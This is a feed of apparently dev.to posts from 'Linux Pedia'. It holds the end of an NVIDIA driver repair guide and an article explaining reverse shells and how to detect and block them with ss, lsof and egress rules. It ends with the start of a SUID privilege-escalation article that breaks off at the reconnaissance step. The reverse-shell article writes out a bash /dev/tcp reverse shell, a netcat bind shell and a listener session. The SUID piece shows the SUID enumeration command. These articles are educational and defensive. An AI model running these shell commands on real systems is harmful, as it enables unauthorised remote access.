  2. Step 1: Drop into Emergency TTY (Bypassing the GUI)
&lt;/h3&gt;

&lt;p&gt;Even if your graphical desktop fails to start, the Linux operating system kernel and core background daemons are usually running normally underneath.&lt;/p&gt;

&lt;p&gt;Linux provides multiple virtual text consoles known as &lt;strong&gt;TTYs&lt;/strong&gt; (TeleTYpewriters). You can switch away from the broken graphical screen to a raw command line at any time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Press: Ctrl + Alt + F3
(Or Ctrl + Alt + F4 / F5 on some distributions)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The black screen will clear and present a text login prompt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Ubuntu 24.04 LTS ubuntu tty3

ubuntu login: sysadmin
Password: *******
Welcome to Ubuntu 24.04 LTS!
sysadmin@ubuntu:~$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Type your regular username, press Enter, enter your password, and you will have full administrative terminal access to fix the system.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Step 2: Diagnose the Driver Failure
&lt;/h3&gt;

&lt;p&gt;Before uninstalling packages, run two quick diagnostic commands to verify the state of your GPU and kernel modules.&lt;/p&gt;

&lt;h4&gt;
  
  
  Check Active Kernel Driver
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ lspci -k &lt;span class="o"&gt;|&lt;/span&gt; grep -EA3 &lt;span class="s1"&gt;'VGA|3D'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at the line labeled &lt;code&gt;Kernel driver in use&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If it says &lt;code&gt;nouveau&lt;/code&gt;, Linux fell back to the open-source driver because the proprietary driver failed to load.&lt;/li&gt;
&lt;li&gt;If the line is completely absent, no driver is managing your graphics card.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Check DKMS Module Status
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ dkms status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A healthy installation displays &lt;code&gt;installed&lt;/code&gt;. If you see &lt;code&gt;broken&lt;/code&gt;, &lt;code&gt;error&lt;/code&gt;, or an older kernel version listed, DKMS failed to build for your running kernel.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Step 3: Clean the Broken Driver State
&lt;/h3&gt;

&lt;p&gt;Trying to install a new driver on top of partially configured packages often results in dependency locks. The safest fix is to purge corrupted NVIDIA packages and start from a clean baseline.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo apt purge &lt;span class="s2"&gt;"*nvidia*"&lt;/span&gt; -y
$ sudo apt autoremove --purge -y
$ sudo apt clean
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command removes broken proprietary packages, DKMS artifacts, and stale configuration files from &lt;code&gt;/etc/X11/xorg.conf&lt;/code&gt;. It does not affect your personal files or applications.&lt;/p&gt;




&lt;h3&gt;
  
  
  5. Step 4: Install Kernel Headers and the Verified Driver
&lt;/h3&gt;

&lt;p&gt;Now install the exact kernel headers matching your running Linux kernel so that the driver installer can compile its modules without missing symbols:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo apt update
$ sudo apt install linux-headers-&lt;span class="nv"&gt;$(&lt;/span&gt;uname -r&lt;span class="o"&gt;)&lt;/span&gt; build-essential dkms -y
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, let the package manager detect the recommended proprietary driver for your specific hardware architecture:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo ubuntu-drivers devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output will show your GPU model and recommend a stable driver branch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== /sys/devices/pci0000:00/... ==
model    : AD104 [GeForce RTX 4070]
vendor   : NVIDIA Corporation
driver   : nvidia-driver-550 - distro non-free recommended
driver   : xserver-xorg-video-nouveau - distro free builtin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Install the recommended branch automatically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo ubuntu-drivers install
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wait patiently while DKMS builds the modules. Do not cancel the process or power off the machine during compilation.&lt;/p&gt;




&lt;h3&gt;
  
  
  6. Step 5: Handling the Secure Boot MOK Trap
&lt;/h3&gt;

&lt;p&gt;If your motherboard has Secure Boot active in UEFI, the Linux kernel refuses to load any third-party driver unless it is digitally signed.&lt;/p&gt;

&lt;p&gt;During the driver installation, you may see a pink or blue text screen titled &lt;strong&gt;Configuring Secure Boot&lt;/strong&gt; asking you to create a temporary password.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Enter an easy temporary password (for example: &lt;code&gt;12345678&lt;/code&gt;) and confirm it.&lt;/li&gt;
&lt;li&gt;Reboot your computer: &lt;code&gt;sudo reboot&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;During the reboot, your BIOS displays a blue screen called &lt;strong&gt;MOK Management&lt;/strong&gt; (Perform MOK management).&lt;/li&gt;
&lt;li&gt;Select &lt;strong&gt;Enroll MOK&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Continue&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Yes&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Type the password you created, then select &lt;strong&gt;Reboot&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once enrolled, the kernel verifies the cryptographic signature on &lt;code&gt;nvidia.ko&lt;/code&gt; and allows the driver to initialize.&lt;/p&gt;




&lt;h3&gt;
  
  
  7. Step 6: Verifying the Fix
&lt;/h3&gt;

&lt;p&gt;Once you log back into your desktop, open a terminal window and run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ nvidia-smi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see the official NVIDIA System Management Interface table displaying your driver version, CUDA version, temperature, and active graphics processes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-----------------------------------------------------------------------------------------+
| NVIDIA-SMI 550.67                 Driver Version: 550.67         CUDA Version: 12.4     |
|-----------------------------------------+------------------------+----------------------+
| GPU  Name                 Persistence-M | Bus-Id          Disp.A | Volatile Uncorr. ECC |
| Fan  Temp   Perf          Pwr:Usage/Cap |           Memory-Usage | GPU-Util  Compute M. |
|=========================================+========================+======================|
|   0  NVIDIA GeForce RTX 4070        Off |   00000000:01:00.0  On |                  N/A |
|  0%   41C    P8             12W /  200W |     482MiB /  12282MiB |      2%      Default |
+-----------------------------------------+------------------------+----------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Restart your display manager or reboot to enjoy your restored graphical desktop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo systemctl restart gdm3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  8. How to Prevent Future Breakages
&lt;/h3&gt;

&lt;p&gt;To prevent kernel updates from breaking your graphics stack again, follow these two production sysadmin habits:&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Always Install Driver Packages via DKMS
&lt;/h4&gt;

&lt;p&gt;Never download the raw &lt;code&gt;.run&lt;/code&gt; installer file from the official NVIDIA website. Raw installer scripts do not hook into your distribution package manager. When the kernel updates next week, the &lt;code&gt;.run&lt;/code&gt; installer will break immediately. Always use your distribution repository packages (such as &lt;code&gt;nvidia-driver-550&lt;/code&gt;).&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Hold the Kernel Version on Production GPU Servers
&lt;/h4&gt;

&lt;p&gt;If you run mission-critical machine learning, PyTorch, or render servers, lock your kernel version to prevent surprise updates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo apt-mark hold linux-image-generic linux-headers-generic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you are ready to update, unhold the packages intentionally during a scheduled maintenance window.&lt;/p&gt;




&lt;h3&gt;
  
  
  Summary &amp;amp; Resources
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;A black screen after an update usually means a DKMS kernel compilation mismatch.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;Ctrl + Alt + F3&lt;/code&gt; to access an emergency TTY text shell.&lt;/li&gt;
&lt;li&gt;Purge corrupted driver packages with &lt;code&gt;sudo apt purge "*nvidia*"&lt;/code&gt; and reinstall via &lt;code&gt;sudo ubuntu-drivers install&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Read the complete technical tutorial on &lt;a href="https://pedialinux.github.io/linuxpedia/nvidia-drivers-linux-black-screen-fix.html" rel="noopener noreferrer"&gt;LinuxPedia: Why NVIDIA Drivers Break Linux&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Also check out our guides on &lt;a href="https://pedialinux.github.io/linuxpedia/linux-server-hardening.html" rel="noopener noreferrer"&gt;Linux Server Hardening&lt;/a&gt; and &lt;a href="https://pedialinux.github.io/linuxpedia/linux-ssh-bruteforce-fail2ban.html" rel="noopener noreferrer"&gt;SSH Brute-Force Defense&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Explore all tutorials and open-source guides at &lt;a href="https://pedialinux.github.io/linuxpedia/" rel="noopener noreferrer"&gt;pedialinux.github.io/linuxpedia/&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Community Question:&lt;/strong&gt; What was your worst experience with graphics drivers on Linux? Did dropping into a TTY save your installation, or did you end up reinstalling? Let us know in the comments below!&lt;br&gt;
`&lt;/p&gt;

</description>
      <category>debugging</category>
      <category>linux</category>
      <category>nvidia</category>
      <category>ai</category>
    </item>
    <item>
      <title>Reverse Shells Explained: How Attackers Bypass Inbound Firewalls (And How to Defend)</title>
      <dc:creator>Linux Pedia</dc:creator>
      <pubDate>Thu, 12 Nov 2026 05:31:45 +0000</pubDate>
      <link>https://dev.to/pedialinux/reverse-shells-explained-how-attackers-bypass-inbound-firewalls-and-how-to-defend-3h22</link>
      <guid>https://dev.to/pedialinux/reverse-shells-explained-how-attackers-bypass-inbound-firewalls-and-how-to-defend-3h22</guid>
      <description>&lt;p&gt;⚠️ &lt;strong&gt;Disclaimer: For Educational Purposes Only&lt;/strong&gt;  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;All commands, security demonstrations, and network techniques in this post are provided strictly for educational purposes, defensive hardening, and authorized security research. Never attempt unauthorized reverse shell execution or network testing against systems you do not own.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Most system administrators follow a standard formula when securing a new server: close unused ports, configure UFW or iptables to reject incoming traffic, and disable password-based logins.&lt;/p&gt;

&lt;p&gt;When you run &lt;code&gt;sudo ufw status&lt;/code&gt; and see that all unsolicited incoming ports are blocked, it feels safe.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Status: active

To                         Action      From
--                         ------      ----
22/tcp                     ALLOW       Anywhere
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In cybersecurity, seasoned attackers rarely waste time trying to force their way through your inbound firewall. Instead, they use a counter-intuitive technique that bypasses standard firewall rules entirely: &lt;strong&gt;the reverse shell&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here is an architectural walkthrough of how reverse shells work, why they bypass inbound perimeter controls, and how sysadmins detect and stop them.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. Bind Shell vs. Reverse Shell
&lt;/h3&gt;

&lt;p&gt;To understand the bypass, you have to understand the difference between a bind shell and a reverse shell.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Bind Shell (Blocked by Firewalls)
&lt;/h4&gt;

&lt;p&gt;In a traditional &lt;strong&gt;bind shell&lt;/strong&gt;, the target server opens a listening port and waits for incoming connections:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Target machine executes a listener: &lt;code&gt;nc -lvnp 4444 -e /bin/bash&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Attacker initiates an inbound connection: &lt;code&gt;nc target_ip 4444&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the server has a firewall blocking incoming traffic on port 4444, the attacker packet gets dropped at the perimeter. The connection never connects.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Reverse Shell (The Firewall Bypass)
&lt;/h4&gt;

&lt;p&gt;In a &lt;strong&gt;reverse shell&lt;/strong&gt;, the roles flip:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The &lt;strong&gt;attacker&lt;/strong&gt; starts a listener on their own machine.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;target server&lt;/strong&gt; reaches outward and connects to the attacker.&lt;/li&gt;
&lt;li&gt;The server hands its interactive shell input/output over that outbound TCP socket.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because stateful firewalls track connections, they automatically permit reply traffic for connections initiated from inside the server. Since almost all servers allow outbound internet traffic to fetch updates and query APIs, the inbound firewall never blocks the attack.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Anatomy of a Classic Bash Reverse Shell
&lt;/h3&gt;

&lt;p&gt;Attackers do not need special malware or heavy binaries to initiate a reverse shell. Most Linux operating systems ship with everything required inside the standard &lt;code&gt;/bin/bash&lt;/code&gt; binary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash -i &lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt; /dev/tcp/10.10.14.5/443 0&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is a step-by-step breakdown of how this single line works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;bash -i&lt;/code&gt; : Spawns an interactive shell session.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;gt;&amp;amp;&lt;/code&gt; : Redirects standard output (stdout) and standard error (stderr) into the destination socket.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/dev/tcp/10.10.14.5/443&lt;/code&gt; : A built-in Bash virtual file feature that initiates a TCP connection to IP &lt;code&gt;10.10.14.5&lt;/code&gt; on port &lt;code&gt;443&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;0&amp;gt;&amp;amp;1&lt;/code&gt; : Redirects standard input (stdin) from standard output, meaning commands sent by the remote listener feed directly into the shell input stream.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On the attacker machine, a simple Netcat listener catches the incoming TCP stream:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ nc -lvnp 443
listening on &lt;span class="o"&gt;[&lt;/span&gt;any&lt;span class="o"&gt;]&lt;/span&gt; 443 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;10.10.14.5&lt;span class="o"&gt;]&lt;/span&gt; from 192.168.1.100 49152
&lt;span class="c"&gt;# whoami&lt;/span&gt;
root
&lt;span class="c"&gt;# hostname&lt;/span&gt;
production-app-01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once connected, the remote user has full shell control over the server.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Why Port 443 and Port 80 are Targeted
&lt;/h3&gt;

&lt;p&gt;Notice the port number in the payload above: &lt;strong&gt;443&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Attackers rarely direct reverse shells to strange high-numbered ports like 4444 or 31337. Why? Because basic network egress monitors flag connections to unusual ports.&lt;/p&gt;

&lt;p&gt;Instead, attackers route traffic through ports 443 (HTTPS) and 80 (HTTP). On almost every corporate or cloud server, outbound port 443 is wide open so the system can run &lt;code&gt;apt update&lt;/code&gt;, contact external APIs, or download packages. Outbound packets on port 443 blend directly into regular encrypted web traffic.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. How Sysadmins Detect Active Reverse Connections
&lt;/h3&gt;

&lt;p&gt;A reverse shell creates a persistent, established TCP socket between a system shell and an external IP address. Sysadmins can identify these rogue connections quickly using native Linux utilities.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 1: Inspect Established Sockets with ss
&lt;/h4&gt;

&lt;p&gt;Run the &lt;code&gt;ss&lt;/code&gt; command to inspect active sockets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo ss -tulpn &lt;span class="o"&gt;|&lt;/span&gt; grep ESTAB
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for system shells (&lt;code&gt;bash&lt;/code&gt;, &lt;code&gt;sh&lt;/code&gt;, &lt;code&gt;zsh&lt;/code&gt;, &lt;code&gt;python&lt;/code&gt;) holding an active network connection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tcp   ESTAB   0   0   192.168.1.100:49152   10.10.14.5:443   users:(("bash",pid=2841,fd=0))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this output, process &lt;code&gt;bash&lt;/code&gt; (PID 2841) maintains an active connection to an external address &lt;code&gt;10.10.14.5&lt;/code&gt; over port 443. A standard shell process should never hold an outbound internet socket.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 2: Trace Process Lineage with lsof and ps
&lt;/h4&gt;

&lt;p&gt;Investigate the suspicious PID to uncover the full execution path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo lsof -p 2841
COMMAND  PID &lt;span class="k"&gt;USER&lt;/span&gt;   FD   TYPE DEVICE SIZE/OFF NODE NAME
bash    2841 root    0u  IPv4  58492      0t0  TCP 192.168.1.100:49152-&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;10.10.14.5:443 &lt;span class="o"&gt;(&lt;/span&gt;ESTABLISHED&lt;span class="o"&gt;)&lt;/span&gt;
bash    2841 root    1u  IPv4  58492      0t0  TCP 192.168.1.100:49152-&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;10.10.14.5:443 &lt;span class="o"&gt;(&lt;/span&gt;ESTABLISHED&lt;span class="o"&gt;)&lt;/span&gt;
bash    2841 root    2u  IPv4  58492      0t0  TCP 192.168.1.100:49152-&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;10.10.14.5:443 &lt;span class="o"&gt;(&lt;/span&gt;ESTABLISHED&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Standard file descriptors 0 (stdin), 1 (stdout), and 2 (stderr) are all tied directly to the remote TCP socket.&lt;/p&gt;

&lt;p&gt;Kill the suspicious process immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo &lt;span class="nb"&gt;kill&lt;/span&gt; -9 2841
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  5. Defensive Hardening: Restricting Outbound Egress
&lt;/h3&gt;

&lt;p&gt;Blocking reverse shells requires locking down &lt;strong&gt;egress&lt;/strong&gt; (outgoing) traffic. By default, most firewalls allow all outbound connections.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 1: Change Default UFW Policy to Deny Outgoing
&lt;/h4&gt;

&lt;p&gt;In Ubuntu and Debian systems, set UFW to deny outbound traffic by default:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo ufw default deny outgoing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 2: Whitelist Only Essential Outbound Services
&lt;/h4&gt;

&lt;p&gt;Allow only the outbound ports and protocols your server actually requires:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Allow DNS resolution&lt;/span&gt;
$ sudo ufw allow out 53/udp
$ sudo ufw allow out 53/tcp

&lt;span class="c"&gt;# Allow outbound package updates to official repos&lt;/span&gt;
$ sudo ufw allow out to 91.189.91.0/24 port 80,443 proto tcp

&lt;span class="c"&gt;# Allow NTP time synchronization&lt;/span&gt;
$ sudo ufw allow out 123/udp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When an attacker attempts to trigger &lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.5/443&lt;/code&gt;, the kernel drops the initial SYN packet because &lt;code&gt;10.10.14.5&lt;/code&gt; is not on the outbound whitelist. The reverse shell times out and dies silently.&lt;/p&gt;




&lt;h3&gt;
  
  
  Summary &amp;amp; Best Practices
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Firewalls must inspect both directions:&lt;/strong&gt; Protecting inbound ports is only half of network defense. An unrestricted outbound policy leaves systems vulnerable to reverse backdoors.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit socket activity regularly:&lt;/strong&gt; Use &lt;code&gt;ss -tulpn&lt;/code&gt; or automated monitoring agents to flag bash or python processes bound to external network sockets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mount temporary directories safely:&lt;/strong&gt; Restrict attacker payloads by preventing execution in &lt;code&gt;/tmp&lt;/code&gt; and auditing SUID binaries.&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  Further Reading &amp;amp; Resources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Read the complete technical tutorial on &lt;a href="https://pedialinux.github.io/linuxpedia/linux-reverse-shells-explained.html" rel="noopener noreferrer"&gt;LinuxPedia: Reverse Shells Explained&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Also explore our guide on &lt;a href="https://pedialinux.github.io/linuxpedia/linux-ssh-bruteforce-fail2ban.html" rel="noopener noreferrer"&gt;SSH Brute-Force Defense with Fail2ban&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Browse all open-source security teardowns at &lt;a href="https://pedialinux.github.io/linuxpedia/" rel="noopener noreferrer"&gt;pedialinux.github.io/linuxpedia/&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Community Question:&lt;/strong&gt; What is your team's policy on outbound egress firewall rules? Do you allow unrestricted outbound traffic, or do you enforce strict port whitelists? Let's discuss in the comments below!&lt;br&gt;
`&lt;/p&gt;

</description>
      <category>linux</category>
      <category>security</category>
      <category>sysadmin</category>
      <category>networking</category>
    </item>
    <item>
      <title>Linux Privilege Escalation: Why One SUID Binary Gives Attackers Root (And How to Fix It)</title>
      <dc:creator>Linux Pedia</dc:creator>
      <pubDate>Wed, 11 Nov 2026 12:16:11 +0000</pubDate>
      <link>https://dev.to/pedialinux/linux-privilege-escalation-why-one-suid-binary-gives-attackers-root-and-how-to-fix-it-316a</link>
      <guid>https://dev.to/pedialinux/linux-privilege-escalation-why-one-suid-binary-gives-attackers-root-and-how-to-fix-it-316a</guid>
      <description>&lt;p&gt;⚠️ &lt;strong&gt;Disclaimer: For Educational Purposes Only&lt;/strong&gt;  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;All commands and demonstrations in this article are provided strictly for educational purposes, authorized security testing, and sysadmin defense. Never attempt unauthorized privilege escalation against systems you do not own.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Getting initial access to a Linux machine is often only half the story. &lt;/p&gt;

&lt;p&gt;When a vulnerability gives an attacker or penetration tester an initial foothold, it usually lands as a restricted, low-privilege account (like &lt;code&gt;www-data&lt;/code&gt;, &lt;code&gt;nobody&lt;/code&gt;, or a sandboxed application user). In this state, they cannot inspect password hashes, load kernel modules, or view sensitive directories.&lt;/p&gt;

&lt;p&gt;To gain full control, they need to elevate their permissions to UID 0 (root). This is &lt;strong&gt;privilege escalation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In this guide, adapted from our &lt;a href="https://pedialinux.github.io/linuxpedia/linux-privilege-escalation-suid.html" rel="noopener noreferrer"&gt;complete Linux Privilege Escalation breakdown on LinuxPedia&lt;/a&gt;, we explore one of the most common and dangerous vectors: &lt;strong&gt;misconfigured SUID binaries&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. What is the SUID Bit?
&lt;/h3&gt;

&lt;p&gt;Standard Linux file permissions define read (&lt;code&gt;r&lt;/code&gt;), write (&lt;code&gt;w&lt;/code&gt;), and execute (&lt;code&gt;x&lt;/code&gt;) permissions for the file owner, the group, and everyone else. (If you need a refresher on permission octals, check out our guide on &lt;a href="https://pedialinux.github.io/linuxpedia/linux-file-permissions.html" rel="noopener noreferrer"&gt;Linux File Permissions &amp;amp; Octal Math&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;There is also a special fourth octal bit: the &lt;strong&gt;SUID (Set User ID)&lt;/strong&gt; bit, represented by numeric value &lt;code&gt;4000&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When SUID is enabled on an executable file, any user who runs that binary executes it with the privileges of the &lt;strong&gt;file owner&lt;/strong&gt; rather than their own user account.&lt;/p&gt;

&lt;p&gt;You can spot an SUID binary immediately by running &lt;code&gt;ls -l&lt;/code&gt;. Instead of standard &lt;code&gt;-rwxr-xr-x&lt;/code&gt; permissions, the user execute position displays an &lt;code&gt;s&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Apr 10 2024 /usr/bin/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice the &lt;code&gt;s&lt;/code&gt; in &lt;code&gt;-rwsr-xr-x&lt;/code&gt;. The &lt;code&gt;passwd&lt;/code&gt; binary is owned by root. When a standard user runs &lt;code&gt;passwd&lt;/code&gt; to change their own password, the binary needs temporary root access to update the hash in &lt;code&gt;/etc/shadow&lt;/code&gt;. Because &lt;code&gt;passwd&lt;/code&gt; is strictly coded not to allow command execution, this SUID assignment is safe and legitimate.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. The Administrator Mistake
&lt;/h3&gt;

&lt;p&gt;Problems start when an administrator applies the SUID bit to standard utilities to solve quick permission friction.&lt;/p&gt;

&lt;p&gt;For example, suppose a junior sysadmin wants developers or support staff to search through restricted system logs without handing over the root password. They might run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ sudo chmod u+s /usr/bin/find
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The administrator intended only to let users search files across restricted directories. But they inadvertently handed every single account on the server an instant, zero-password path to root.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. How Attackers Discover SUID Binaries
&lt;/h3&gt;

&lt;p&gt;Whenever an attacker lands on a Linux shell, one of the first reconnaissance commands they run is a search for SUID files across the entire filesystem:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ find / -perm -4000 -type f 2&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is how that command works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /&lt;/code&gt; : Searches starting from the root directory.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-perm -4000&lt;/code&gt; : Matches files with the SUID bit active.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-type f&lt;/code&gt; : Restricts results to regular executable files.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;2&amp;gt;/dev/null&lt;/code&gt; : Discards permission denied errors from directories the low-privilege account cannot access.&lt;/li&gt;
&lt;/ul&gt;

